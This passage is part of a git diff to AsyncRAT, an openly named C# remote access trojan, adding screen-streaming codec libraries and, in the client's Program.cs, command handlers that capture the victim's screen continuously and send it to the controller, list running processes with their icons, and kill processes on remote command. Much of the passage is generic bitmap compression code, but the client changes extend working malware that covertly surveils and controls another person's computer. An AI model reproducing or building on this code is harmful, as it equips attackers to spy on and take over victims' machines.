+ dst += (int)matchlen;
+
+ if (level == 1)
+ {
+ fetch = (uint)(destination[last_hashed + 1] | (destination[last_hashed + 2] << 8) | (destination[last_hashed + 3] << 16));
+ while (last_hashed < dst - matchlen)
+ {
+ last_hashed++;
+ hash = (int)(((fetch >> 12) ^ fetch) & (HASH_VALUES - 1));
+ hashtable[hash] = last_hashed;
+ hash_counter[hash] = 1;
+ fetch = (uint)(fetch >> 8 & 0xffff | destination[last_hashed + 3] << 16);
+ }
+ fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16));
+ }
+ else
+ {
+ fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24));
+ }
+ last_hashed = dst - 1;
+ }
+ else
+ {
+ if (dst <= last_matchstart)
+ {
+ destination[dst] = source[src];
+ dst += 1;
+ src += 1;
+ cword_val = cword_val >> 1;
+
+ if (level == 1)
+ {
+ while (last_hashed < dst - 3)
+ {
+ last_hashed++;
+ int fetch2 = destination[last_hashed] | (destination[last_hashed + 1] << 8) | (destination[last_hashed + 2] << 16);
+ hash = ((fetch2 >> 12) ^ fetch2) & (HASH_VALUES - 1);
+ hashtable[hash] = last_hashed;
+ hash_counter[hash] = 1;
+ }
+ fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16);
+ }
+ else
+ {
+ fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16 | source[src + 3] << 24);
+ }
+ }
+ else
+ {
+ while (dst <= size - 1)
+ {
+ if (cword_val == 1)
+ {
+ src += CWORD_LEN;
+ cword_val = 0x80000000;
+ }
+
+ destination[dst] = source[src];
+ dst++;
+ src++;
+ cword_val = cword_val >> 1;
+ }
+ return destination;
+ }
+ }
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SimpleBitmap.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SimpleBitmap.cs
new file mode 100644
index 0000000..ab62e1f
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SimpleBitmap.cs
@@ -0,0 +1,177 @@
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.Runtime.InteropServices;
+using System.Text;
+
+namespace StreamLibrary.src
+{
+ public unsafe class SimpleBitmap
+ {
+ private object ProcessingLock = new object();
+
+ public SimpleBitmapInfo Info { get; internal set; }
+ public bool Locked { get { return Scan0 == IntPtr.Zero ? false : true; } }
+ public IntPtr Scan0 { get; internal set; }
+ public int Scan0_int { get; internal set; }
+ public BitmapData bitmapData { get; internal set; }
+ public Bitmap bitMap { get; set; }
+
+ public class SimpleBitmapInfo
+ {
+ public SimpleBitmapInfo()
+ {
+ Clear();
+ }
+ public SimpleBitmapInfo(BitmapData data)
+ {
+ Load(data);
+ }
+ public int Stride { get; protected set; }
+ public int PixelSize { get; protected set; }
+ public int Width { get; protected set; }
+ public int Height { get; protected set; }
+
+ public int TotalSize { get; protected set; }
+
+ internal void Clear()
+ {
+ Stride = 0; PixelSize = 0; Width = 0; Height = 0; TotalSize = 0;
+ }
+ internal void Load(BitmapData data)
+ {
+ Width = data.Width; Height = data.Height; Stride = data.Stride;
+
+ PixelSize = Math.Abs(data.Stride) / data.Width;
+ TotalSize = data.Width * data.Height * PixelSize;
+ }
+ }
+
+ public static bool Compare(Rectangle block, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo)
+ {
+ int calc = 0;
+ int WidthSize = block.Width * sharedInfo.PixelSize;
+
+ calc = (block.Y) * sharedInfo.Stride + block.X * sharedInfo.PixelSize;
+
+ for (int i = 0; i < block.Height; i++)
+ {
+ if (NativeMethods.memcmp((byte*)(ptr1 + calc), (byte*)(ptr2 + calc), (uint)WidthSize) != 0)
+ return false;
+ calc += sharedInfo.Stride;
+ }
+ return true;
+ }
+ public static bool Compare(int y, int rowsize, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo)
+ {
+ int calc = 0;
+ int Size = sharedInfo.Width * sharedInfo.PixelSize * rowsize;
+
+ calc = y * sharedInfo.Stride;
+
+ if (NativeMethods.memcmp((byte*)(ptr1 + calc), (byte*)(ptr2 + calc), (uint)Size) != 0)
+ return false;
+ return true;
+ }
+ public static bool FastCompare(int offset, int size, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo)
+ {
+ if (NativeMethods.memcmp((byte*)(ptr1 + offset), (byte*)(ptr2 + offset), (uint)size) != 0)
+ return false;
+ return true;
+ }
+
+ public unsafe void CopyBlock(Rectangle block, ref byte[] dest)
+ {
+ int calc = 0;
+ int WidthSize = block.Width * Info.PixelSize;
+ int CopyOffset = 0;
+ int scan0 = Scan0.ToInt32();
+ int destSize = WidthSize * block.Height;
+
+ if (dest == null || dest.Length != destSize)
+ dest = new byte[destSize];
+
+ calc = (block.Y) * Info.Stride + block.X * Info.PixelSize;
+
+ fixed (byte* ptr = dest)
+ {
+ for (int i = 0; i < block.Height; i++)
+ {
+ NativeMethods.memcpy(new IntPtr(ptr + CopyOffset), new IntPtr(scan0 + calc), (uint)WidthSize);
+ calc += Info.Stride;
+ CopyOffset += WidthSize;
+ }
+ }
+ }
+
+ public SimpleBitmap()
+ {
+ Scan0 = IntPtr.Zero;
+ bitmapData = null;
+ bitMap = null;
+
+ Info = new SimpleBitmapInfo();
+ }
+ public SimpleBitmap(Bitmap bmp)
+ {
+ this.bitMap = bmp;
+ }
+
+ public void Lock()
+ {
+ if (Locked)
+ throw new Exception("Already locked");
+
+ lock (ProcessingLock)
+ {
+ bitmapData = bitMap.LockBits(new Rectangle(0, 0, bitMap.Width, bitMap.Height), ImageLockMode.ReadWrite, bitMap.PixelFormat);
+
+ Info = new SimpleBitmapInfo(bitmapData);
+
+ Scan0 = bitmapData.Scan0;
+ Scan0_int = Scan0.ToInt32();
+ }
+ }
+ public void Unlock()
+ {
+ if (!Locked)
+ throw new Exception("Nothing to unlock");
+
+ lock (ProcessingLock)
+ {
+ Scan0 = IntPtr.Zero;
+ Scan0_int = 0;
+
+ Info.Clear();
+ bitMap.UnlockBits(bitmapData);
+ bitmapData = null;
+ }
+ }
+ public unsafe void PlaceBlockAtRectange(byte[] block, Rectangle loc)
+ {
+ int CopySize = Info.PixelSize * loc.Width;
+ int OffsetX = loc.X * Info.PixelSize;
+ int TotalCopied = 0;
+
+ fixed (byte* ptr = block)
+ {
+ for (int i = 0; i < loc.Height; i++)
+ {
+ NativeMethods.memcpy(new IntPtr(Scan0_int + ((loc.Y + i) * Info.Stride + OffsetX)), new IntPtr(ptr + TotalCopied), (uint)CopySize);
+ TotalCopied += CopySize;
+ }
+ }
+ }
+ public void Dispose(bool disposeBitmap = false)
+ {
+ if (Locked)
+ Unlock();
+
+ if (disposeBitmap)
+ bitMap.Dispose();
+
+ bitMap = null;
+ }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/Client.csproj b/AsyncRAT-C#/Client/Client.csproj
index 4fbeed1..08e17a8 100644
--- a/AsyncRAT-C#/Client/Client.csproj
+++ b/AsyncRAT-C#/Client/Client.csproj
@@ -23,6 +23,7 @@
4
+ true
x86
@@ -40,6 +41,8 @@
+
+
@@ -50,6 +53,37 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/Program.cs b/AsyncRAT-C#/Client/Program.cs
index facfb74..27b26d4 100644
--- a/AsyncRAT-C#/Client/Program.cs
+++ b/AsyncRAT-C#/Client/Program.cs
@@ -11,7 +11,12 @@ using System.Windows.Forms;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
-
+using StreamLibrary;
+using StreamLibrary.UnsafeCodecs;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.Management;
+using System.Linq;
// │ Author : NYAN CAT
// │ Name : AsyncRAT // Simple Socket
@@ -157,6 +162,7 @@ namespace Client
if (Buffer[0] == 0)
{
Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
+ Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + "Bytes ///");
MS.Dispose();
MS = new MemoryStream();
if (Buffersize > 0)
@@ -270,6 +276,45 @@ namespace Client
Uninstall();
}
break;
+
+ case "remoteDesktop":
+ {
+ switch (unpack_msgpack.ForcePathObject("Option").AsString)
+ {
+ case "false":
+ {
+ RemoteDesktop_Status = false;
+ }
+ break;
+
+ case "true":
+ {
+ RemoteDesktop_Status = true;
+ RemoteDesktop();
+ }
+ break;
+ }
+ }
+ break;
+
+ case "processManager":
+ {
+ switch (unpack_msgpack.ForcePathObject("Option").AsString)
+ {
+ case "List":
+ {
+ ProcessManager();
+ }
+ break;
+
+ case "Kill":
+ {
+ ProcessKill(Convert.ToInt32(unpack_msgpack.ForcePathObject("ID").AsString));
+ }
+ break;
+ }
+ }
+ break;
}
}
catch { }
@@ -282,6 +327,105 @@ namespace Client
BeginSend(msgpack.Encode2Bytes());
}
+ private static void ProcessKill(int ID)
+ {
+ foreach (var process in Process.GetProcesses())
+ {
+ try
+ {
+ if (process.Id == ID)
+ {
+ process.Kill();
+ }
+ }
+ catch { };
+ }
+ ProcessManager();
+ }
+
+ private static void ProcessManager()
+ {
+ StringBuilder sb = new StringBuilder();
+ var query = "SELECT ProcessId, Name, ExecutablePath FROM Win32_Process";
+ using (var searcher = new ManagementObjectSearcher(query))
+ using (var results = searcher.Get())
+ {
+ var processes = results.Cast().Select(x => new
+ {
+ ProcessId = (UInt32)x["ProcessId"],
+ Name = (string)x["Name"],
+ ExecutablePath = (string)x["ExecutablePath"]
+ });
+ foreach (var p in processes)
+ {
+ if (File.Exists(p.ExecutablePath))
+ {
+ string name = p.ExecutablePath;
+ string key = p.ProcessId.ToString();
+ Icon icon = Icon.ExtractAssociatedIcon(p.ExecutablePath);
+ Bitmap bmpIcon = icon.ToBitmap();
+ using (MemoryStream ms = new MemoryStream())
+ {
+ bmpIcon.Save(ms, ImageFormat.Png);
+ sb.Append(name + "-=>" + key + "-=>" + Convert.ToBase64String(ms.ToArray()) + "-=>");
+ }
+ }
+ }
+ }
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "processManager";
+ msgpack.ForcePathObject("Message").AsString = sb.ToString();
+ BeginSend(msgpack.Encode2Bytes());
+ }
+
+ private static bool RemoteDesktop_Status { get; set; }
+ private static void RemoteDesktop()
+ {
+ try
+ {
+ IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(80);
+ while (RemoteDesktop_Status == true)
+ {
+ Thread.Sleep(1);
+ if (!Client.Connected) break;
+ Bitmap bmp = CaptureScreen();
+ Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
+ Size size = new Size(bmp.Width, bmp.Height);
+ BitmapData bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat);
+
+ using (MemoryStream stream = new MemoryStream(1000000))
+ {
+ unsafeCodec.CodeImage(bmpData.Scan0, rect, size, bmp.PixelFormat, stream);
+ if (stream.Length > 0)
+ {
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
+ msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray());
+ BeginSend(msgpack.Encode2Bytes());
+ }
+ }
+ bmp.UnlockBits(bmpData);
+ bmp.Dispose();
+ }
+ }
+ catch { }
+ }
+
+ private static Bitmap CaptureScreen()
+ {
+ Rectangle rect = Screen.AllScreens[0].WorkingArea;
+ try
+ {
+ Bitmap bmpScreenshot = new Bitmap(rect.Width, rect.Height, PixelFormat.Format32bppArgb);
+ Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot);
+ gfxScreenshot.CopyFromScreen(0, 0, 0, 0, new Size(bmpScreenshot.Width, bmpScreenshot.Height), CopyPixelOperation.SourceCopy);
+ gfxScreenshot.Dispose();
+ return bmpScreenshot;
+ }
+ catch { return new Bitmap(rect.Width, rect.Height); }
+ }
+
+
private static void Uninstall()
{
ProcessStartInfo Del = null;
diff --git a/AsyncRAT-C#/Client/StreamLibrary/Codecs/DirectDriverCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/Codecs/DirectDriverCodec.cs
new file mode 100644
index 0000000..fce74ea
--- /dev/null
+++ b/AsyncRAT-C#/Client/StreamLibrary/Codecs/DirectDriverCodec.cs
@@ -0,0 +1,160 @@
+using StreamLibrary.src;
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary.Codecs
+{
+ public class DirectDriverCodec
+ {
+ private Bitmap decodedBitmap;
+
+ private byte[] EncodeBuffer;
+ private PixelFormat EncodedFormat;
+ private int EncodedWidth;
+ private int EncodedHeight;
+ private JpgCompression jpgCompression;
+
+ public DirectDriverCodec(int Quality)
+ {
+ jpgCompression = new JpgCompression(Quality);
+ }
+
+ public unsafe void CodeImage(IntPtr Scan0, Rectangle[] Changes, Size ImageSize, PixelFormat Format, Stream outStream)
+ {
+ byte* pScan0 = (byte*)Scan0.ToInt32();
+ if (!outStream.CanWrite)
+ throw new Exception("Must have access to Write in the Stream");
+
+ int Stride = 0;
+ int RawLength = 0;
+ int PixelSize = 0;
+
+ switch (Format)
+ {
+ case PixelFormat.Format24bppRgb:
+ PixelSize = 3;
+ break;
+ case PixelFormat.Format32bppArgb:
+ case PixelFormat.Format32bppPArgb:
+ PixelSize = 4;
+ break;
+ default:
+ throw new NotSupportedException(Format.ToString());
+ }
+
+ Stride = ImageSize.Width * PixelSize;
+ RawLength = Stride * ImageSize.Height;
+
+ if (EncodeBuffer == null)
+ {
+ this.EncodedFormat = Format;
+ this.EncodedWidth = ImageSize.Width;
+ this.EncodedHeight = ImageSize.Height;
+ this.EncodeBuffer = new byte[RawLength];
+ fixed (byte* ptr = EncodeBuffer)
+ {
+ byte[] temp = null;
+ using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
+ {
+ temp = jpgCompression.Compress(TmpBmp);
+ }
+
+ outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
+ outStream.Write(temp, 0, temp.Length);
+ NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
+ }
+ return;
+ }
+
+ long oldPos = outStream.Position;
+ outStream.Write(new byte[4], 0, 4);
+ int TotalDataLength = 0;
+
+ for (int i = 0; i < Changes.Length; i++)
+ {
+ Rectangle rect = Changes[i];
+ int blockStride = PixelSize * rect.Width;
+
+ Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
+ BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
+ for (int j = 0, offset = 0; j < rect.Height; j++)
+ {
+ int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
+ NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
+ offset += blockStride;
+ }
+ TmpBmp.UnlockBits(TmpData);
+
+ outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
+ outStream.Write(new byte[4], 0, 4);
+
+ long length = outStream.Position;
+ long OldPos = outStream.Position;
+ jpgCompression.Compress(TmpBmp, ref outStream);
+ length = outStream.Position - length;
+
+ outStream.Position = OldPos - 4;
+ outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
+ outStream.Position += length;
+ TmpBmp.Dispose();
+ TotalDataLength += (int)length + (4 * 5);
+ }
+ outStream.Position = oldPos;
+ outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
+ }
+
+ public Bitmap DecodeData(Stream inStream)
+ {
+ byte[] temp = new byte[4];
+ inStream.Read(temp, 0, 4);
+ int DataSize = BitConverter.ToInt32(temp, 0);
+
+ if (decodedBitmap == null)
+ {
+ temp = new byte[DataSize];
+ inStream.Read(temp, 0, temp.Length);
+ this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+ return decodedBitmap;
+ }
+ return decodedBitmap;
+
+ List updates = new List();
+ Rectangle rect;
+ Graphics g = Graphics.FromImage(decodedBitmap);
+ Bitmap tmp;
+ byte[] buffer = null;
+ MemoryStream m;
+
+ while (DataSize > 0)
+ {
+ byte[] tempData = new byte[4 * 5];
+ inStream.Read(tempData, 0, tempData.Length);
+
+ rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
+ BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
+ int UpdateLen = BitConverter.ToInt32(tempData, 16);
+ buffer = new byte[UpdateLen];
+ inStream.Read(buffer, 0, buffer.Length);
+
+ m = new MemoryStream(buffer);
+ tmp = (Bitmap)Image.FromStream(m);
+ g.DrawImage(tmp, rect.Location);
+ tmp.Dispose();
+
+ m.Close();
+ m.Dispose();
+ DataSize -= UpdateLen + (4 * 5);
+ }
+ g.Dispose();
+ return decodedBitmap;
+ }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/StreamLibrary/Codecs/MJPGCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/Codecs/MJPGCodec.cs
new file mode 100644
index 0000000..072ff3e
--- /dev/null
+++ b/AsyncRAT-C#/Client/StreamLibrary/Codecs/MJPGCodec.cs
@@ -0,0 +1,68 @@
+using StreamLibrary.src;
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary.Codecs
+{
+ ///
+ /// The M-JPG codec is not very efficient for networking as it is just a very simple codec
+ ///
+ public class MJPGCodec : IVideoCodec
+ {
+ public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
+ public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
+ public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
+ public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
+
+ public override ulong CachedSize
+ {
+ get { return 0; }
+ internal set { }
+ }
+
+ public override int BufferCount
+ {
+ get { return 0; }
+ }
+
+ public override CodecOption CodecOptions
+ {
+ get { return CodecOption.None; }
+ }
+
+ public MJPGCodec(int ImageQuality = 100)
+ : base(ImageQuality)
+ {
+
+ }
+
+ public override void CodeImage(Bitmap bitmap, Stream outStream)
+ {
+ lock (base.jpgCompression)
+ {
+ byte[] data = base.jpgCompression.Compress(bitmap);
+ outStream.Write(BitConverter.GetBytes(data.Length), 0, 4);
+ outStream.Write(data, 0, data.Length);
+ }
+ }
+
+ public override Bitmap DecodeData(Stream inStream)
+ {
+ lock (base.jpgCompression)
+ {
+ if (!inStream.CanRead)
+ throw new Exception("Must have access to Read in the Stream");
+
+ byte[] temp = new byte[4];
+ inStream.Read(temp, 0, temp.Length);
+ int DataLength = BitConverter.ToInt32(temp, 0);
+ temp = new byte[DataLength];
+ inStream.Read(temp, 0, temp.Length);
+ return (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/StreamLibrary/Codecs/QuickCachedStreamCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/Codecs/QuickCachedStreamCodec.cs
new file mode 100644
index 0000000..e9dc63c
--- /dev/null
+++ b/AsyncRAT-C#/Client/StreamLibrary/Codecs/QuickCachedStreamCodec.cs
@@ -0,0 +1,204 @@
+using StreamLibrary.src;
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary.Codecs
+{
+ public class QuickCachedStreamCodec : IVideoCodec
+ {
+ private Bitmap CodeTempBitmap;
+ private Bitmap DecodeTempBitmap;
+
+ public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
+ public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
+ public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
+ public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
+ public override ulong CachedSize
+ {
+ get;
+ internal set;
+ }
+
+ public int MaxBuffers { get; private set; }
+ private SortedList EncodeCache;
+ private SortedList DecodeCache;
+
+
+ ///
+ /// Initialize a new object of QuickStreamCodec
+ ///
+ /// The image quality 0-100%
+ public QuickCachedStreamCodec(int MaxBuffers = 5000, int ImageQuality = 100)
+ : base(ImageQuality)
+ {
+ this.MaxBuffers = MaxBuffers;
+ this.EncodeCache = new SortedList();
+ this.DecodeCache = new SortedList();
+ }
+
+ public override int BufferCount
+ {
+ get { return 1; }
+ }
+ public override CodecOption CodecOptions
+ {
+ get { return CodecOption.RequireSameSize | CodecOption.AutoDispose; }
+ }
+
+ public override unsafe void CodeImage(Bitmap bitmap, Stream outStream)
+ {
+ if (!outStream.CanWrite)
+ throw new Exception("Must have access to Write in the Stream");
+
+ if (CodeTempBitmap != null)
+ {
+ if (CodeTempBitmap.Width != bitmap.Width || CodeTempBitmap.Height != bitmap.Height)
+ throw new Exception("Bitmap width/height are not equal to previous bitmap");
+ if (bitmap.PixelFormat != CodeTempBitmap.PixelFormat)
+ throw new Exception("PixelFormat is not equal to previous Bitmap");
+ }
+
+ if (CodeTempBitmap == null)
+ {
+ byte[] temp = base.jpgCompression.Compress(bitmap);
+ outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
+ outStream.Write(temp, 0, temp.Length);
+ CodeTempBitmap = bitmap;
+ return;
+ }
+
+ BitmapData bmpData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
+ BitmapData CodeBmpData = CodeTempBitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
+ int Stride = Math.Abs(bmpData.Stride);
+
+ List Blocks = new List();
+
+ for (int y = 0, i = 0; y < bitmap.Height; y++, i += Stride)
+ {
+ if (onCodeDebugScan != null)
+ onCodeDebugScan(new Rectangle(0, y, bitmap.Width, 1));
+
+ Rectangle ScanBlock = new Rectangle(0, y, bitmap.Width, 1);
+ if (NativeMethods.memcmp(new IntPtr(bmpData.Scan0.ToInt32() + i), new IntPtr(CodeBmpData.Scan0.ToInt32() + i), (uint)Stride) != 0)
+ {
+ byte[] temp = new byte[Stride];
+ fixed(byte* ptr = temp)
+ {
+ NativeMethods.memcpy(ptr, (void*)(bmpData.Scan0.ToInt32() + i), (uint)temp.Length);
+ }
+
+ CRC32 hasher = new CRC32();
+ int hash = BitConverter.ToInt32(hasher.ComputeHash(temp), 0);
+
+ if (EncodeCache.Count >= MaxBuffers)
+ EncodeCache.RemoveAt(0);
+
+ if (EncodeCache.ContainsKey(hash))
+ {
+ outStream.WriteByte(1);
+ outStream.Write(new byte[4], 0, 4);
+ outStream.Write(BitConverter.GetBytes(hash), 0, 4);
+ outStream.Write(BitConverter.GetBytes((ushort)y), 0, 2);
+ }
+ else
+ {
+ outStream.WriteByte(0);
+ outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
+ outStream.Write(BitConverter.GetBytes(hash), 0, 4);
+ outStream.Write(BitConverter.GetBytes((ushort)y), 0, 2);
+ outStream.Write(temp, 0, temp.Length);
+ EncodeCache.Add(hash, temp);
+ }
+ Blocks.Add(ScanBlock);
+ }
+ }
+
+ for (int i = 0; i < Blocks.Count; i++)
+ {
+ Bitmap cloned = (Bitmap)bitmap.Clone(Blocks[i], bitmap.PixelFormat);
+ byte[] temp = base.jpgCompression.Compress(cloned);
+
+ cloned.Dispose();
+ }
+
+ bitmap.UnlockBits(bmpData);
+ CodeTempBitmap.UnlockBits(CodeBmpData);
+
+ if (onVideoStreamCoding != null)
+ onVideoStreamCoding(outStream, Blocks.ToArray());
+
+ if (CodeTempBitmap != null)
+ CodeTempBitmap.Dispose();
+ this.CodeTempBitmap = bitmap;
+ }
+
+ public override Bitmap DecodeData(Stream inStream)
+ {
+ if (!inStream.CanRead)
+ throw new Exception("Must have access to Read in the Stream");
+
+ if (DecodeTempBitmap == null)
+ {
+ byte[] temp = new byte[4];
+ inStream.Read(temp, 0, 4);
+ int DataSize = BitConverter.ToInt32(temp, 0);
+ temp = new byte[DataSize];
+ inStream.Read(temp, 0, temp.Length);
+ DecodeTempBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+ return DecodeTempBitmap;
+ }
+
+ //BitmapData BmpData = DecodeTempBitmap.LockBits(new Rectangle(0, 0, DecodeTempBitmap.Width, DecodeTempBitmap.Height), ImageLockMode.WriteOnly, DecodeTempBitmap.PixelFormat);
+ //int Stride = Math.Abs(BmpData.Stride);
+
+ while (inStream.Position < inStream.Length)
+ {
+ byte[] temp = new byte[11];
+ if (inStream.Read(temp, 0, temp.Length) != temp.Length)
+ break;
+
+ bool inCache = temp[0] == 1;
+ int DataSize = BitConverter.ToInt32(temp, 1);
+ int Hash = BitConverter.ToInt32(temp, 5);
+ ushort Y = BitConverter.ToUInt16(temp, 9);
+
+ temp = new byte[DataSize];
+ if (inStream.Read(temp, 0, temp.Length) != temp.Length)
+ break;
+
+ if (inCache)
+ {
+ if (DecodeCache.ContainsKey(Hash))
+ {
+ temp = DecodeCache[Hash];
+ }
+ else
+ {
+
+ }
+ }
+
+ //copy new data to cached bitmap
+ Bitmap tmpBmp = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+
+ using (Graphics g = Graphics.FromImage(DecodeTempBitmap))
+ {
+ g.DrawImage(tmpBmp, new Point(0, Y));
+ }
+
+ /*BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.WriteOnly, tmpBmp.PixelFormat);
+ int Offset = Y * Stride;
+ NativeMethods.memcpy(new IntPtr(BmpData.Scan0.ToInt32() + Offset), tmpData.Scan0, (uint)(tmpBmp.Height * Stride));*/
+ //tmpBmp.UnlockBits(tmpData);
+ tmpBmp.Dispose();
+ }
+ //DecodeTempBitmap.UnlockBits(BmpData);
+
+ return DecodeTempBitmap;
+ }
+ }
+}
diff --git a/AsyncRAT-C#/Client/StreamLibrary/Codecs/QuickStreamCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/Codecs/QuickStreamCodec.cs
new file mode 100644
index 0000000..ee8227c
--- /dev/null
+++ b/AsyncRAT-C#/Client/StreamLibrary/Codecs/QuickStreamCodec.cs
@@ -0,0 +1,179 @@
+using StreamLibrary.src;
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary.Codecs
+{
+ public class QuickStreamCodec : IVideoCodec
+ {
+ private Bitmap CodeTempBitmap;
+ private Bitmap DecodeTempBitmap;
+
+ public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
+ public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
+ public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
+ public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
+ public override ulong CachedSize
+ {
+ get;
+ internal set;
+ }
+
+ ///
+ /// Initialize a new object of QuickStreamCodec
+ ///
+ /// The image quality 0-100%
+ public QuickStreamCodec(int ImageQuality = 100)
+ : base(ImageQuality)
+ {
+
+ }
+
+ public override int BufferCount
+ {
+ get { return 1; }
+ }
+ public override CodecOption CodecOptions
+ {
+ get { return CodecOption.RequireSameSize | CodecOption.AutoDispose; }
+ }
+
+ public override void CodeImage(Bitmap bitmap, Stream outStream)
+ {
+ if (!outStream.CanWrite)
+ throw new Exception("Must have access to Write in the Stream");
+
+ if (CodeTempBitmap != null)
+ {
+ if (CodeTempBitmap.Width != bitmap.Width || CodeTempBitmap.Height != bitmap.Height)
+ throw new Exception("Bitmap width/height are not equal to previous bitmap");
+ if (bitmap.PixelFormat != CodeTempBitmap.PixelFormat)
+ throw new Exception("PixelFormat is not equal to previous Bitmap");
+ }
+
+ if (CodeTempBitmap == null)
+ {
+ byte[] temp = base.jpgCompression.Compress(bitmap);
+ outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
+ outStream.Write(temp, 0, temp.Length);
+ CodeTempBitmap = bitmap;
+ return;
+ }
+
+ BitmapData bmpData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
+ BitmapData CodeBmpData = CodeTempBitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
+ int Stride = Math.Abs(bmpData.Stride);
+
+ List Blocks = new List();
+
+ for (int y = 0, i = 0; y < bitmap.Height; y++, i += Stride)
+ {
+ if(onCodeDebugScan != null)
+ onCodeDebugScan(new Rectangle(0, y, bitmap.Width, 1));
+
+ Rectangle ScanBlock = new Rectangle(0, y, bitmap.Width, 1);
+ if (NativeMethods.memcmp(new IntPtr(bmpData.Scan0.ToInt32() + i), new IntPtr(CodeBmpData.Scan0.ToInt32() + i), (uint)Stride) != 0)
+ {
+ int index = Blocks.Count - 1;
+ if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == ScanBlock.Y)
+ {
+ ScanBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + ScanBlock.Height);
